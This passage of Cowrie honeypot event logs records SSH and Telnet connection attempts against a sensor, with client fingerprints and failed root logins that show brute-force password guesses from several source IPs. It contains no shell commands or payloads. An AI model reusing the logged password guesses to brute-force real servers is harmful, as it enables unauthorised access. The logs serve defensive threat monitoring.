-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:02.045299Z","src_ip":"223.197.186.7","session":"8a354a5f8c32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marcel","message":"login attempt [root/marcel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:02.957028Z","src_ip":"223.197.186.7","session":"8a354a5f8c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:04.173479Z","src_ip":"223.197.186.7","session":"8a354a5f8c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38228,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa601ce77481","protocol":"telnet","message":"New connection: 152.42.224.71:38228 (10.17.0.5:23) [session: fa601ce77481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:10.781115Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"6457b9bbc76f","protocol":"telnet","message":"New connection: 152.42.224.71:38240 (10.17.0.5:23) [session: 6457b9bbc76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:12.517040Z"}
{"eventid":"cowrie.session.closed","duration":31.190546989440918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:12.675080Z","src_ip":"152.42.224.71","session":"f3e52934d985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd98c5af7bb","protocol":"telnet","message":"New connection: 152.42.224.71:38254 (10.17.0.5:23) [session: fbd98c5af7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:13.117523Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d44c49b2690","protocol":"telnet","message":"New connection: 152.42.224.71:38262 (10.17.0.5:23) [session: 2d44c49b2690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:13.639533Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58282,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ae995e5ab8","protocol":"telnet","message":"New connection: 152.42.224.71:58282 (10.17.0.5:23) [session: a6ae995e5ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:26.177812Z"}
{"eventid":"cowrie.session.closed","duration":52.6930205821991,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:29.085953Z","src_ip":"152.42.224.71","session":"6fad3105a0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.80958151817322,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:30.247794Z","src_ip":"152.42.224.71","session":"3b414103ef34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":47984,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a18f3a03c05","protocol":"ssh","message":"New connection: 43.133.148.170:47984 (10.17.0.5:22) [session: 9a18f3a03c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:35.930540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:35.935283Z","src_ip":"43.133.148.170","session":"9a18f3a03c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:36.197430Z","src_ip":"43.133.148.170","session":"9a18f3a03c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:37.277553Z","src_ip":"43.133.148.170","session":"9a18f3a03c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.630923986434937,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:38.147862Z","src_ip":"152.42.224.71","session":"6457b9bbc76f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:38.541478Z","src_ip":"43.133.148.170","session":"9a18f3a03c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":50972,"dst_ip":"10.17.0.5","dst_port":22,"session":"328d2f4d6424","protocol":"ssh","message":"New connection: 43.245.98.60:50972 (10.17.0.5:22) [session: 328d2f4d6424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:43.729004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:43.733452Z","src_ip":"43.245.98.60","session":"328d2f4d6424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:43.980667Z","src_ip":"43.245.98.60","session":"328d2f4d6424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9995f591e9d6","protocol":"telnet","message":"New connection: 152.42.224.71:44074 (10.17.0.5:23) [session: 9995f591e9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:44.443578Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"six","message":"login attempt [root/six] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:45.010605Z","src_ip":"43.245.98.60","session":"328d2f4d6424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:46.261833Z","src_ip":"43.245.98.60","session":"328d2f4d6424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"c75ef24169fc","protocol":"telnet","message":"New connection: 152.42.224.71:44084 (10.17.0.5:23) [session: c75ef24169fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:46.636709Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":54459,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e8e7936c6e5","protocol":"ssh","message":"New connection: 223.197.186.7:54459 (10.17.0.5:22) [session: 7e8e7936c6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:47.124094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:47.128992Z","src_ip":"223.197.186.7","session":"7e8e7936c6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:47.346710Z","src_ip":"223.197.186.7","session":"7e8e7936c6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"santiago","message":"login attempt [root/santiago] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:48.280188Z","src_ip":"223.197.186.7","session":"7e8e7936c6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:49.494344Z","src_ip":"223.197.186.7","session":"7e8e7936c6e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3848014f9c","protocol":"telnet","message":"New connection: 152.42.224.71:32904 (10.17.0.5:23) [session: 4a3848014f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:55.455827Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47714,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ef1f5f99e9","protocol":"telnet","message":"New connection: 152.42.224.71:47714 (10.17.0.5:23) [session: 72ef1f5f99e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:57.329794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47722,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6a64c9146b0","protocol":"telnet","message":"New connection: 152.42.224.71:47722 (10.17.0.5:23) [session: b6a64c9146b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:06:59.659074Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47724,"dst_ip":"10.17.0.5","dst_port":23,"session":"568ea0a59f1f","protocol":"telnet","message":"New connection: 152.42.224.71:47724 (10.17.0.5:23) [session: 568ea0a59f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:05.222468Z"}
{"eventid":"cowrie.session.closed","duration":39.46551036834717,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:05.643196Z","src_ip":"152.42.224.71","session":"a6ae995e5ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59996,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e11d968ce9","protocol":"telnet","message":"New connection: 152.42.224.71:59996 (10.17.0.5:23) [session: 58e11d968ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:11.858747Z"}
{"eventid":"cowrie.session.closed","duration":26.18125891685486,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:12.817862Z","src_ip":"152.42.224.71","session":"c75ef24169fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41202,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae48d54566c1","protocol":"telnet","message":"New connection: 152.42.224.71:41202 (10.17.0.5:23) [session: ae48d54566c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:16.656950Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":46788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7676bed960d","protocol":"ssh","message":"New connection: 124.109.2.211:46788 (10.17.0.5:22) [session: a7676bed960d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:17.737250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:17.742400Z","src_ip":"124.109.2.211","session":"a7676bed960d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:17.976202Z","src_ip":"124.109.2.211","session":"a7676bed960d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saima","message":"login attempt [root/saima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:18.968817Z","src_ip":"124.109.2.211","session":"a7676bed960d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:20.242271Z","src_ip":"124.109.2.211","session":"a7676bed960d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":49514,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b991058ec34","protocol":"ssh","message":"New connection: 103.75.182.198:49514 (10.17.0.5:22) [session: 4b991058ec34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:20.323391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:20.328927Z","src_ip":"103.75.182.198","session":"4b991058ec34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:20.569734Z","src_ip":"103.75.182.198","session":"4b991058ec34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedcxz","message":"login attempt [root/qwedcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:21.291075Z","src_ip":"103.75.182.198","session":"4b991058ec34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:22.537176Z","src_ip":"103.75.182.198","session":"4b991058ec34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59878,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ea14a29ba7a","protocol":"ssh","message":"New connection: 51.250.105.222:59878 (159.203.135.109:22) [session: 3ea14a29ba7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:24.809301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:24.814370Z","src_ip":"51.250.105.222","session":"3ea14a29ba7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:24.942004Z","src_ip":"51.250.105.222","session":"3ea14a29ba7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"080808","message":"login attempt [root/080808] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:25.323448Z","src_ip":"51.250.105.222","session":"3ea14a29ba7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:26.452849Z","src_ip":"51.250.105.222","session":"3ea14a29ba7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fa9d106518","protocol":"telnet","message":"New connection: 152.42.224.71:50306 (10.17.0.5:23) [session: 75fa9d106518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:26.490836Z"}
